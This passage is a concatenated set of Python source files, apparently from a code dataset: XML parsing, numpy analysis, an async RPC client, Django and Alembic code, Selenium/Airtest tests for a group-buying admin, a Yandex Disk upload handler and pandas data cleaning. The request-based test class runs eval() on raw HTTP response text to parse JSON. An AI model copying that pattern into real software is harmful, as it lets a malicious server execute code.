tools = None):\n '''\n :param twist - function(representation, ['premise'|'hypothesis'], tools) to twist the representation\n :param tools - additional information to use in the twist function\n '''\n self.twist = twist\n self.tools = tools\n\n def twist_representation(self, representation, sent_type):\n return self.twist(representation, sent_type, self.tools)","sub_path":"webservices/fixed_model_relu_code.py","file_name":"fixed_model_relu_code.py","file_ext":"py","file_size_in_byte":12081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"400650111","text":"import xml.etree.ElementTree as ET\n\ndata = \"\"\"\n Chuck\n +11234124124\n \n \"\"\"\ntree = ET.fromstring(data)\nprint(type(tree))\nprint('Name:',tree.find('name').text) #text to see the xml text\nprint('Attr:',tree.find('email').get('hide')) #Get email attribute","sub_path":"Course 3/Chap 13/XML/xml_theory.py","file_name":"xml_theory.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"133118010","text":"import numpy as np\nimport json\nimport Bio.Cluster\n\n\nfrom cans2.model import CompModelBC\nfrom cans2.process import find_best_fits, test_bounds, spearmans_rho, mad_tril\n\n\nbest_fits = np.array(find_best_fits(\"full_plate/*/*.json\", num=5, key=\"obj_fun\"))\n\ndata = []\nfor filename in best_fits[:, 0]:\n with open(filename, 'r') as f:\n d = json.load(f)\n data.append(d)\n\nat_bounds = [any(test_bounds(d[\"comp_est\"][:4], d[\"bounds\"][:4])) for d in data]\nprint(at_bounds)\n\nguess_key = \"guess_method_C_ratio_zero_kn\"\nguess_method = [str(d[guess_key][0]) for d in data]\nprint(guess_method)\n\n# Want to find the model associated with each fit and\nmodels = [d[\"model\"] for d in data]\nprint(models)\n\n\n# Make a matrix of correlations of rank orders.\nno_cultures = 16*24\nb_ests = np.array([d[\"comp_est\"][-no_cultures:] for d in data])\n\ndistances = (spearmans_rho(b_ests))\nprint(distances)\n\nd_tri = np.zeros((5, 5))\nfor ds, row in zip(distances, d_tri):\n row[:len(ds)] = ds\nprint(d_tri)\n\nmads = mad_tril(b_ests)\nprint(mads)\n\n\nimport csv\noutfile = \"full_plate/replots/first_10_params.csv\"\nwith open(outfile, 'ab') as f:\n writer = csv.writer(f, delimiter=\"\\t\")\n writer.writerow(models)\n writer.writerow([\"Spearmans for top 5 fits (either model).\"])\n for r in d_tri:\n writer.writerow(r)\n writer.writerow([\"b parameter MADs for top 5 fits (either model).\"])\n for r in mads:\n writer.writerow(r)\n","sub_path":"cans/cans2/results/p15_fits/correlate_best_fit_est_ranks.py","file_name":"correlate_best_fit_est_ranks.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"170093871","text":"#!/usr/bin/env python\nfrom typing import Any, Dict, Tuple, Union, cast\nimport requests\nimport sys\nfrom math import floor\nimport httpx\nfrom .logger import logger\nfrom .base import Request, Response\nfrom .request import RPCRequest\n\n\n'''\nAsync RPC Request\n'''\nclass AsyncRPCRequest(RPCRequest):\n def __init__(\n self,\n url: str,\n method: str,\n id: int = 1,\n params: Union[Dict[str, Any], Tuple[Any, ...], None] = None,\n session: Any = None\n ):\n \n super().__init__(\n url=url,\n method=method,\n id=1,\n params=params,\n session=session\n )\n\n if session:\n self.session = session\n else:\n self.session = httpx.AsyncClient()\n \n def _build_request(self) -> Request:\n self._pprint_request()\n return {\n \"jsonrpc\": \"2.0\",\n \"method\": self.method,\n **({\"params\": self.params} if self.params else {}),\n \"id\": self.id\n }\n \n async def make_request(self) -> Response:\n request = self._build_request()\n resp = await self.session.post(self.url, json=request)\n return await self._process_response(resp)\n \n async def _process_response(self, raw: requests.Response) -> Response:\n raw.raise_for_status()\n self._pprint_response(raw)\n return cast(Response, raw.json())","sub_path":"rpc/core/async_request.py","file_name":"async_request.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"166646080","text":"from django.db import models\n\nfrom django_x509.base.models import AbstractCert\n\n\nclass CustomCert(AbstractCert):\n \"\"\"\n Custom Cert model\n \"\"\"\n\n fingerprint = models.CharField(\n primary_key=True, max_length=64, unique=True\n )\n\n class Meta(AbstractCert.Meta):\n abstract = False\n","sub_path":"tests/customcert/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"421226138","text":"from Common.Air_Element import *\nfrom Common.Element import *\nfrom Common.req_Element import *\nfrom airtest.core.api import *\nfrom time import sleep\nimport random\nimport datetime\n\n\n# 加载单例模式\nclass Singleton(type):\n def __init__(cls, name, bases, dict):\n super(Singleton, cls).__init__(name, bases, dict)\n cls._instance = None\n\n def __call__(cls, *args, **kwargs):\n if cls._instance is None:\n cls._instance = super(Singleton, cls).__call__(*args, **kwargs)\n return cls._instance\n\n\nclass Activity(BaserPage, metaclass=Singleton):\n # 新建拼团\n def new_groud(self, element_data, group, new_group):\n # # 获取拼团活动里的所有拼团商品\n # group_goods = self.locator_element(locator=group['group_lis'], locators=group['group_goods_tr'])\n # if len(group_goods) != 0:\n # self.gruop_goods_len = len(group_goods)\n # 获取明天日期\n end_dates = (datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d')\n # 新建拼团\n self.click(locator=new_group['new'], locators=None)\n # 拿到页面上所有input框\n public_input = self.locator_elements(locator=new_group['public_input'])\n\n # 打开新建时间\n self.click(new_el=public_input[element_data['time_path']])\n # 重新获取页面上的input框\n sleep(1)\n public_input = self.locator_elements(locator=new_group['public_input'])\n # 开始时间\n self.keyboard_Ctrl(new_el=public_input[element_data['start_time_path']], value=element_data['ctrl_a'])\n self.send_key(new_el=public_input[element_data['start_time_path']], value=element_data['start_end_times'])\n # 结束时间\n self.keyboard_Ctrl(new_el=public_input[element_data['end_date']], value=element_data['ctrl_a'])\n self.send_key(new_el=public_input[element_data['end_date']], value=end_dates)\n self.keyboard_Ctrl(new_el=public_input[element_data['end_time']], value=element_data['ctrl_a'])\n self.send_key(new_el=public_input[element_data['end_time']], value=element_data['start_end_times'])\n # 拿到页面上的所有button\n public_button = self.locator_elements(locator=new_group['public_button'])\n # 提交时间\n self.click(new_el=public_button[element_data['time_submit_path']])\n # =========选择设置拼团有效期和人数============\n self.send_key(new_el=public_input[element_data['valid_time_path']], value=element_data['date_order_time'])\n self.send_key(new_el=public_input[element_data['valid_number_path']], value=element_data['date_order_number'])\n # =========选择设置拼团商品============\n self.click(new_el=public_input[element_data['spu_lis_path']])\n ul_number = self.locator_elements(locator=new_group['public_ul'])\n li_number = self.locator_element(new_el=ul_number[-1], locators=new_group['public_li'])\n for li in li_number:\n sleep(1)\n if self.locator_text(new_el=li) == element_data['group_name']:\n self.click(new_el=li)\n sleep(2)\n break\n # 拿到选择拼团商品之后的前端页面出现的整个body，通过他的tr和td来设置拼团价格\n tr_number = self.locator_element(locator=new_group['new_public_tbody'], locators=new_group['public_tr'])\n for tr in tr_number:\n td_number = self.locator_element(new_el=tr, locators=new_group['public_td'])\n while True:\n # 死循环为了拿到大于供货价小于零售价的拼团价格\n # 根据供货价和零售价生成拼团价格，拼团价格取两个价格中间\n supply_price_path = self.locator_text(new_el=td_number[element_data['supply_price_path']])\n retail_price_path = self.locator_text(new_el=td_number[element_data['retail_price_path']])\n groud_price = random.uniform(float(supply_price_path), float(retail_price_path))\n # 拼团价格包留两位小数\n groud_prices = round(groud_price, 2)\n # print('单个sku供货价：', float(group_spu[4].text))\n # print('单个sku零售价：', float(group_spu[5].text))\n # print('单个sku的拼团价格：', groud_prices)\n if float(supply_price_path) < groud_prices < float(retail_price_path):\n group_price = self.locator_element(new_el=td_number[element_data['group_price_path']],\n locator=new_group['group_price'])\n self.send_key(new_el=group_price, value=str(groud_prices))\n # self.send_key(new_el=td_number[element_data['group_price_path']], value=str(groud_prices))\n break\n # 拿到该拼团商品的spu\n self.new_textone = self.locator_text(new_el=td_number[element_data['goods_spu_path']])\n self.click(new_el=public_button[element_data['new_submit_path']])\n sleep(3)\n # 拼团列表\n group_tr_number = self.locator_element(locator=group['group_lis'], locators=group['group_goods_tr'])\n for group_tr in group_tr_number:\n group_td_number = self.locator_element(new_el=group_tr, locators=group['group_goods_td'])\n if self.locator_text(new_el=group_td_number[element_data['group_spu_path']]) == self.new_textone:\n self.new_texttwo = self.new_textone\n return self.new_texttwo\n self.new_texttwo = None\n\n # 删除拼团\n def delete_group(self, groud_el):\n # 获取到拼团列表所有拼团商品\n goods_numone = self.locator_element(locator=groud_el['group_lis'], locators=groud_el['group_goods_tr'])\n # 把元素td拆出来，方便定位方法直接使用\n self.delete_group_key, self.delete_group_value = groud_el['group_goods_td']\n\n for group_lis in goods_numone:\n groups = group_lis.find_elements(self.delete_group_key, self.delete_group_value)\n if self.new_textone == groups[3].text:\n self.group_text = groups[3].text\n # 点击删除按钮\n sleep(3)\n groups[8].find_element_by_xpath('div/button').click()\n sleep(2)\n # 点击删除的二次确认\n self.click(locator=groud_el['group_delete'], locators=None)\n sleep(3)\n break\n\n # 重新获取当前拼团列表里的所有拼团商品以做断言校验\n again_group_lis = self.locator_element(locator=groud_el['group_lis'], locators=groud_el['group_goods_tr'])\n for again_groups in again_group_lis:\n again_groups = again_groups.find_elements(self.delete_group_key, self.delete_group_value)\n if again_groups[3].text == self.group_text:\n self.delete_text = 'false'\n self.delete_text = 'true'\n\n # 把拼团商品添加进入布局\n def add_area_group(self, goods_area, element_data):\n # 拿到当前所有商品布局内容\n td_key, td_val = goods_area['public_td']\n area_button_key, area_button_val = goods_area['area_button']\n # 通过循环tr拿到单行的列表的内容\n area_lis_tr = self.locator_element(locator=goods_area['area_lis_tbody'], locators=goods_area['public_tr'])\n\n for lis_tr in area_lis_tr:\n area_td = lis_tr.find_elements(td_key, td_val)\n if area_td[1].text == element_data['area_name']:\n area_buttons = area_td[3].find_elements(area_button_key, area_button_val)\n area_buttons[2].click()\n break\n\n area_tr = self.locator_element(locator=goods_area['area_tbody'], locators=goods_area['public_tr'])\n # 通过循环tr拿到区域列表单行的列表的内容\n for tr in area_tr:\n area_td = tr.find_elements(td_key, td_val)\n if area_td[3].text == self.new_textone:\n print('该拼团商品已存在')\n self.add_goods_text = 'True'\n return self.add_goods_text\n\n self.click(locator=goods_area['add_goods_button'], locators=None)\n # 通过循环tr拿到添加商品列表的内容\n add_goods_tbody = self.locator_element(locator=goods_area['add_goods_tbody'], locators=goods_area['public_tr'])\n for add_tr in add_goods_tbody:\n add_td = add_tr.find_elements(td_key, td_val)\n if add_td[4].text != self.new_textone:\n self.add_goods_text = 'False'\n else:\n add_td[0].find_element_by_xpath('div/label/span/span').click()\n self.click(locator=goods_area['add_goods_submit'], locators=None)\n sleep(3)\n # 重新获取商品区域里边的所有商品，以作断言看看刚刚添加进去的商品是否添加成功\n area_tr = self.locator_element(locator=goods_area['area_tbody'], locators=goods_area['public_tr'])\n # 通过循环tr拿到单行的列表的内容\n for tr in area_tr:\n area_td = tr.find_elements(td_key, td_val)\n if area_td[3].text == self.new_textone:\n print('该拼团商品添加成功')\n self.add_goods_text = 'True'\n return self.add_goods_text\n\n # 把拼团商品从布局里删除\n def deleter_area_group(self, goods_area, element_data):\n # 拿到当前所有商品布局内容\n td_key, td_val = goods_area['public_td']\n area_button_key, area_button_val = goods_area['area_button']\n # 通过循环tr拿到单行的列表的内容\n area_lis_tr = self.locator_element(locator=goods_area['area_lis_tbody'], locators=goods_area['public_tr'])\n for lis_tr in area_lis_tr:\n area_td = lis_tr.find_elements(td_key, td_val)\n if area_td[1].text == element_data['area_name']:\n area_buttons = area_td[3].find_elements(area_button_key, area_button_val)\n area_buttons[2].click()\n break\n\n area_tr = self.locator_element(locator=goods_area['area_tbody'], locators=goods_area['public_tr'])\n # 通过循环tr拿到区域列表单行的列表的内容\n for tr in area_tr:\n area_td = tr.find_elements(td_key, td_val)\n if area_td[3].text == self.new_textone:\n print('该拼团商品已存在')\n buttons = area_td[6].find_elements_by_xpath('div/button')\n buttons[1].click()\n sleep(3)\n deleter_buttons = self.locator_element(locator=goods_area['delete_goods'],\n locators=goods_area['delete_goods_submit'])\n sleep(3)\n deleter_buttons[1].click()\n sleep(3)\n # 重新获取商品区域里边的所有商品，以作断言看看刚刚添加进去的商品是否添加成功\n area_tr = self.locator_element(locator=goods_area['area_tbody'], locators=goods_area['public_tr'])\n # 通过循环tr拿到单行的列表的内容\n for tr in area_tr:\n area_td = tr.find_elements(td_key, td_val)\n if area_td[3].text == self.new_textone:\n print('删除拼团商品添加失败')\n self.delete_goods_text = 'False'\n return self.delete_goods_text\n\n self.delete_goods_text = 'True'\n\n\nclass Air_Activity(ApiBaserPage, metaclass=Singleton):\n # 打开小程序查看该商品是否是拼团商品\n def xcx_group(self, air_el, air_swipe, air_data):\n while True:\n if self.api_exists(api_locator=air_data['xcx_group_good']):\n self.api_touch(api_locator=air_data['xcx_group_good'])\n # 循环20秒等待找到元素\n for i in range(10):\n if self.api_exists(api_locator=air_data['xcx_group_buttom']):\n self.api_keyevent(api_data=air_data['xcx_return'])\n return True\n else:\n sleep(2)\n self.api_keyevent(api_data=air_data['xcx_return'])\n return False\n else:\n self.poco_swipe(air_locator=air_el['xcx_page'], value=air_swipe['xcx_swipe'])\n\n # 小程序下单支付\n def xcx_group_pay(self, air_data):\n self.api_touch(api_locator=air_data['xcx_group_buttom'])\n self.api_touch(api_locator=air_data['xcx_group_pay_buttom'])\n self.api_touch(api_locator=air_data['xcx_group_pay_submit'])\n if self.api_exists(api_locator=air_data['xcx_wx_pay']):\n keyboard_Lis = list(air_data['xcx_keyboard'].split(','))\n for keyboard_data in keyboard_Lis:\n self.api_keyevent(keyboard_data)\n\n # 循环10秒点击支付完成\n for i in range(10):\n if self.api_exists(api_locator=air_data['xcx_group_pay_complete']):\n self.api_touch(air_data['xcx_group_pay_complete'])\n sleep(5)\n break\n else:\n sleep(1)\n\n\nclass Req_Activity(BaserRequest, metaclass=Singleton):\n # 拿到当前拼团列表里的所有拼团\n def gruop_goods_lis(self, url, params, public_data):\n res = self.get(url=url, params=params)\n for key, val in dict.items(eval(res.text)):\n if key == public_data['groupList']:\n for two_val in val:\n if two_val['spu_code'] == public_data['spucode']:\n self.group_id = two_val['id']\n\n def delete_group_good(self, url, params):\n res = self.delete(url=url, params=params)\n delete_res = eval(res.text)\n if delete_res['code'] == 500:\n self.delete_text = 'False'\n else:\n self.delete_text = 'True'","sub_path":"Page/activity.py","file_name":"activity.py","file_ext":"py","file_size_in_byte":14101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"7553048","text":"\nimport os\nimport json\nimport urllib\n\nfrom handlers.client.private_handler import PrivateHandler\nfrom models.image_model import ImageModel\nfrom tornado.httpclient import HTTPRequest\n\n\nclass Image(PrivateHandler):\n\n async def get(self):\n limit = self.get_argument('limit', 10)\n offset = self.get_argument('offset', 0)\n\n client_id = self.client.get('id') if self.client is not None else None\n images = await ImageModel.get_list(client_id, limit, offset)\n\n for image in images:\n href = self.cache.get('image:%s' % (image.get('filepath'),))\n\n if href is not None:\n image['href'] = str(href, 'utf8')\n\n else:\n query = urllib.parse.urlencode({'path': image.get('filepath')})\n\n download_request = HTTPRequest(\n 'https://cloud-api.yandex.net/v1/disk/resources/download?'+query,\n method='GET',\n headers={'Authorization': 'OAuth %s' % (self.client.get('access_token'),)})\n\n download_response = await self.httpclient.fetch(download_request)\n\n if download_response.code == 200:\n download_response_data = json.loads(download_response.body.decode(\"utf-8\"))\n\n href = download_response_data.get('href')\n self.cache.set('image:%s' % (image.get('filepath'),), href, ex=(60*60))\n image['href'] = href\n \n self.response(images)\n\n async def post(self):\n if self.client is not None:\n file_info = self.request.files.get('image')[0]\n ext = file_info.get('filename').split('.')[-1]\n file_body = file_info.get(\"body\")\n\n filepath = '/twc/%s.%s' % (os.urandom(8).hex(), ext,)\n\n query = urllib.parse.urlencode({'path': filepath})\n\n upload_request = HTTPRequest(\n 'https://cloud-api.yandex.net/v1/disk/resources/upload?'+query,\n method='GET',\n headers={'Authorization': 'OAuth %s' % (self.client.get('access_token'),)})\n\n upload_response = await self.httpclient.fetch(upload_request)\n\n if upload_response.code == 200:\n response_data = json.loads(upload_response.body.decode(\"utf-8\"))\n upload_href = response_data.get('href')\n\n request = HTTPRequest(upload_href, method='PUT', body=file_body)\n response = await self.httpclient.fetch(request)\n\n if response.code in (201, 202,):\n await ImageModel.create({\n 'filepath': filepath,\n 'client_id': self.client.get('id'),\n })\n\n self.response({'ok': True})\n\n else:\n self.send_error(500)\n\n else:\n self.send_error(500)\n\n else:\n self.send_error(500)\n","sub_path":"server/handlers/client/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"268974786","text":"\"\"\"empty message\n\nRevision ID: 4d1792ce9fb6\nRevises: e66b80c6a610\nCreate Date: 2020-08-29 14:46:45.747744\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '4d1792ce9fb6'\ndown_revision = 'e66b80c6a610'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('ownership',\n sa.Column('group_id', sa.Integer(), nullable=False),\n sa.Column('network_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['group_id'], ['groups.id'], ),\n sa.ForeignKeyConstraint(['network_id'], ['networks.id'], ),\n sa.PrimaryKeyConstraint('group_id', 'network_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('ownership')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/4d1792ce9fb6_.py","file_name":"4d1792ce9fb6_.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"60418851","text":"#!/usr/bin/env python\r\n#==========================================================================================\r\n# title\t\t\t : sessionm_data_generation.py\r\n# description : The program reads customer data files,\r\n#\t\t\t\t cleans the data and generate cleaned csv compatible to sessionm platform\r\n# author \t\t : Shobhit Bhatnagar\r\n# date : 2019-08-05\r\n# version : 1.0\r\n# python version : 3.7.3\r\n#==========================================================================================\r\nimport sys\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nimport argparse\r\nimport logging\r\nfrom datetime import datetime\r\n\r\nclass SourceFileNotFoundError(Exception):\r\n\t\"\"\" class for source file not found error \"\"\"\r\n\tpass\r\n\r\ndef create_parser():\r\n\t\"\"\" This function will return command line parser \"\"\"\r\n\tparser=argparse.ArgumentParser(description='Script to clean the data and make it compatible to Sessionm platform',prog='sessionm_data_generation.py')\r\n\tparser.add_argument('--sourcefile1', dest='source_file1', help='source file name 1')\r\n\tparser.add_argument('--sourcefile2', dest='source_file2', help='source file name 2')\r\n\tparser.add_argument('--version', action='version', version='%(prog)s 1.0.0')\r\n\treturn parser\r\n\r\n\r\ndef parse_args(arguments):\r\n\t\"\"\" This function will parse the command line arguments \"\"\"\r\n\tparser=create_parser()\r\n\targs=parser.parse_args(arguments)\r\n\r\n\t''' check for mandatory parameters '''\r\n\tif not args.source_file1 or not args.source_file2:\r\n\t\tlogger.error('Incorrect number of arguments: Source filename1 and filename2 are required')\r\n\t\tparser.error('Incorrect number of arguments: Source filename1 and filename2 are required')\r\n\t\r\n\tlogger.info('input params '+'-'*80)\r\n\tlogger.info(args)\r\n\tlogger.info('-'*80)\r\n\treturn args\r\n\r\n\r\ndef load_csv(filename1,filename2):\r\n\t\"\"\" This function is used to check the presence of files and load them into dataframes \"\"\"\r\n\ttry:\r\n\t\tFile1_status=os.path.isfile(filename1)\r\n\t\tFile2_status=os.path.isfile(filename2)\r\n\r\n\t\tif not File1_status or not File2_status:\r\n\t\t\traise SourceFileNotFoundError\r\n\t\telse:\r\n\t\t\tdf1=pd.read_csv(filename1)\r\n\t\t\tlogger.info(filename1+' is loaded in df1 dataframe')\r\n\t\t\tdf2=pd.read_csv(filename2)\r\n\t\t\tlogger.info(filename2+' is loaded in df2 dataframe')\r\n\t\treturn df1,df2\r\n\r\n\texcept SourceFileNotFoundError as e:\r\n\t\tif File1_status:\r\n\t\t\tlogger.exception(f'Error occured while reading and loading file {filename2} in dataframe')\r\n\t\t\tprint(f'Error occured. File {filename2} not found. Exiting the program....')\r\n\t\telse:\r\n\t\t\tlogger.exception(f'Error occured while reading and loading file {filename1} in dataframe')\r\n\t\t\tprint(f'Error occured. File {filename1} not found. Exiting the program ....')\r\n\t\t\tsys.exit(1)\r\n\texcept Exception as e:\r\n\t\tlogger.exception('Error occured while reading and loading file in dataframes')\r\n\t\tprint('An error occured while executing the program. Below are the details:')\r\n\t\traise\r\n\r\ndef clean_data(df1,df2):\r\n\t\"\"\" This function is used to clean the data in dataframes 1 and 2 \"\"\"\r\n\ttry:\r\n\t\t''' finding duplicate id and replacing it with unique alphanumeric code\r\n\t\t to maintain consistence and to join with other data frame '''\r\n\t\tlogger.info('finding duplicate id and replacing it with unique alphanumeric code to maintain consistence and to join with other data frame')\r\n\t\tdf1.loc[df1.duplicated(['id']),'id']='4903x34'\r\n\r\n\t\t''' merging df1 and df2 dataframes and creating a new one '''\r\n\t\tlogger.info('merging df1 and df2 dataframes and creating a new one')\r\n\t\tnew_df=pd.merge(df1, df2, on='id', how='outer')\r\n\t\t\r\n\t\t''' assigning 1 (female) to Sandrine after merging dataframes '''\r\n\t\tlogger.info('assigning 1 (female) to Sandrine after merging dataframes')\r\n\t\tnew_df.loc[new_df.first_name=='Sandrine',['sex']]='1'\r\n\t\t\r\n\t\t''' renaming columns as per API documentation '''\r\n\t\tlogger.info('renaming columns as per API documentation')\r\n\t\tnew_df.rename(index=str,\\\r\n\t\t\tcolumns={\"attr2\":\"phone_numbers\",\"id\":\"external_id\",\"sex\":\"gender\",\"tier\":\"custom_1\",\\\r\n\t\t\t\"lastcontact\":\"custom_2\"},inplace=True)\r\n\r\n\t\t''' tranlating 0 and 1 to Male and Female '''\r\n\t\tlogger.info('tranlating 0 and 1 to Male and Female')\r\n\t\tnew_df['gender'] = np.where(new_df['gender'] ==0, 'm', 'f')\r\n\r\n\t\t''' dropping the below columns which are not required:\r\n\t\t\t# attr1_x from customer1.csv -- not making any sense \r\n\t\t\t# engagement from customer1.csv -- not making any sense\r\n\t\t\t# pets from customer2.csv -- not making any sense\r\n\t\t\t# vehcle from customer2.csv -- not making any sense \r\n\t\t'''\r\n\t\tlogger.info('dropping the below columns which are not required:\\n\\\r\n\t\t\tattr1_x from customer1.csv, engagement from customer1.csv, pets from customer2.csv, vehcle from customer2.csv')\r\n\t\tnew_df.drop(['attr1_x','engagement','pets','attr1_y'],inplace=True,axis =1)\r\n\r\n\t\t''' removing spaces from email id column '''\r\n\t\tlogger.info('removing spaces from email id column')\r\n\t\tnew_df['email']=new_df['email'].str.replace(' ','')\r\n\r\n\t\t''' adding the below columns as per session m API documentation\r\n\t\t\t# opted_in : defaults to true if no attribute value is specified hence true for all records\r\n\t\t\t# external_id_type : This represents from which platform the data is received \"facebook,instagram etc\".NaN for no details\r\n\t\t\t# locale : by looking at phone numbers since it's of USA so locale should be en-u for all records\r\n\t\t\t# ip : NaN for no details\r\n\t\t\t# dob : NaN for no details\r\n\t\t\t# address : NaN for no details\r\n\t\t\t# city : NaN for no details\r\n\t\t\t# state : NaN for no details\r\n\t\t\t# zip : NaN for no details\r\n\t\t\t# country : by looking at phone numbers since it's of USA so country should be USA for all records\r\n\t\t\t# referral : NaN for no details -- this can be generated while processing data using NAME-XXXXXX but kept blank as not received from source\r\n\t\t\t# phone_type : NaN for no details\r\n\t\t'''\r\n\t\tlogger.info('additing the below columns as per sessionM API documentation\\n\\\r\n\t\t\topted_in,external_id_type,locale,ip,dob,address,city,state,zip,country,referral,phone_type')\r\n\t\t\r\n\t\tnew_df['opted_in'],new_df['external_id_type'],new_df['locale'],\\\r\n\t\tnew_df['ip'],new_df['dob'],new_df['address'],new_df['city'],\\\r\n\t\tnew_df['state'],new_df['zip'],new_df['country'],new_df['referral'],\\\r\n\t\tnew_df['phone_type']=[True,np.nan,'en-u',np.nan,np.nan,np.nan,np.nan,np.nan,np.nan,'USA',np.nan,np.nan]\r\n\r\n\t\t''' correcting the date format present in custom_2 column '''\r\n\t\tlogger.info('correcting the date format present in custom_2 column')\r\n\t\tnew_df['custom_2'] = pd.to_datetime(new_df['custom_2']).dt.strftime('%Y-%m-%d')\r\n\r\n\r\n\t\t''' removing NaT from custom_2 field '''\r\n\t\tlogger.info('removing NaT from custom_2 field')\r\n\t\tnew_df['custom_2'] = new_df['custom_2'].astype(str)\r\n\t\tnew_df['custom_2'] = new_df['custom_2'].apply(lambda val : np.nan if val==\"NaT\" else val)\r\n\r\n\t\t''' arranging the columns in the order mentioned in API documentation '''\r\n\t\tlogger.info('arranging the columns in the order mentioned in API documentation')\r\n\t\tnew_df=new_df[['external_id','opted_in','external_id_type',\\\r\n\t\t'email','locale','ip','dob','address','city','state','zip','country',\\\r\n\t\t'gender','first_name','last_name','referral','phone_numbers','phone_type','custom_1','custom_2']]\r\n\r\n\t\treturn new_df\r\n\r\n\texcept Exception as e:\r\n\t\tlogger.error('Error occured in the program:',e)\r\n\t\traise\r\n\r\n\r\ndef export_csv(new_df):\r\n\t''' Exporting data in CSV '''\r\n\tlogger.info('Exporting data in CSV: Combined_Customer_data.csv')\r\n\tnew_df.to_csv('Combined_Customer_data.csv')\r\n\r\n\r\ndef main(argv=None):\r\n\t''' creating arg parse for reading inputs from command line '''\r\n\tif argv is None:\r\n\t\targv=sys.argv\r\n\targs= parse_args(argv[1:])\r\n\tfilename1 = args.source_file1\r\n\tfilename2 = args.source_file2\r\n\ttry:\r\n\t\tlogger.info('Calling load_csv function to read csv and create dataframes')\r\n\t\tdf1,df2=load_csv(filename1,filename2)\r\n\r\n\t\tlogger.info('Calling clean_data function to clean data and create a new dataframe new_df')\r\n\t\tnew_df=clean_data(df1,df2)\r\n\r\n\t\tlogger.info('Calling export_data function to export the data in combined customer data csv file')\r\n\t\texport_csv(new_df)\r\n\r\n\t\tprint('Process completed Successfully!! Combined Customer data file generated.')\r\n\t\tlogger.info('Process completed Successfully!! Combined Customer data file generated.')\r\n\texcept Exception as e:\r\n\t\tlogger.error(f'Program failed !!')\r\n\r\n''' Creating logger for program '''\r\nlog_file_name='sessionm_data_generation'\r\nlog_file_name +='_'+datetime.now().strftime(\"%Y%m%d_%H%M%S\")+'.log'\r\nlogger=logging.getLogger(__name__) # getting the getLogger method from logging module and logger object is created for it.\r\nlogger.setLevel(logging.DEBUG) # setting the logging level of logger\r\nformatter=logging.Formatter('%(asctime)s:%(levelname)s:%(message)s') # creating an object which will set the format of log file\r\nfile_handler=logging.FileHandler(log_file_name) # log file name\r\nfile_handler.setFormatter(formatter) # setting the format of log file using formatter object created above\r\nlogger.addHandler(file_handler) # adding handler for log file\t\t\r\n\r\n\r\nif __name__==\"__main__\":\r\n\tsys.exit(main())","sub_path":"sessionm_data_generation.py","file_name":"sessionm_data_generation.py","file_ext":"py","file_size_in_byte":9042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"231311559","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"General utilities.\n\n- Class and module import/export\n- Time utilities (we standardize on UTC)\n\"\"\"\n\nimport datetime\nimport logging\nimport socket\nimport sys\nimport time\n\nimport iso8601\n\nLOG = logging.getLogger(__name__)\nSTRING_FORMAT = \"%Y-%m-%d %H:%M:%S +0000\"\n\n\ndef import_class(import_str):\n \"\"\"Return a class from a string including module and class.\"\"\"\n mod_str, _, class_str = import_str.rpartition('.')\n try:\n __import__(mod_str)\n return getattr(sys.modules[mod_str], class_str)\n except (ImportError, ValueError, AttributeError) as exc:\n LOG.debug('Inner Exception: %s', exc)\n raise\n\n\ndef import_object(import_str, *args, **kw):\n \"\"\"Return an object including a module or module and class.\"\"\"\n try:\n __import__(import_str)\n return sys.modules[import_str]\n except ImportError:\n cls = import_class(import_str)\n return cls(*args, **kw)\n\n\ndef get_time_string(time_obj=None):\n \"\"\"The canonical time string format (in UTC).\n\n :param time_obj: an optional datetime.datetime or timestruct (defaults to\n gm_time)\n\n Note: Changing this function will change all times that this project uses\n in the returned data.\n \"\"\"\n if isinstance(time_obj, datetime.datetime):\n if time_obj.tzinfo:\n offset = time_obj.tzinfo.utcoffset(time_obj)\n utc_dt = time_obj + offset\n return datetime.datetime.strftime(utc_dt, STRING_FORMAT)\n return datetime.datetime.strftime(time_obj, STRING_FORMAT)\n elif isinstance(time_obj, time.struct_time):\n return time.strftime(STRING_FORMAT, time_obj)\n elif time_obj is not None:\n raise TypeError(\"get_time_string takes only a time_struct, none, or a \"\n \"datetime. It was given a %s\" % type(time_obj))\n return time.strftime(STRING_FORMAT, time.gmtime())\n\n\ndef parse_time_string(time_string):\n \"\"\"Return naive datetime object from string in standard time format.\"\"\"\n parsed = time_string.replace(\" +\", \"+\").replace(\" -\", \"-\")\n dt_with_tz = iso8601.parse_date(parsed)\n offset = 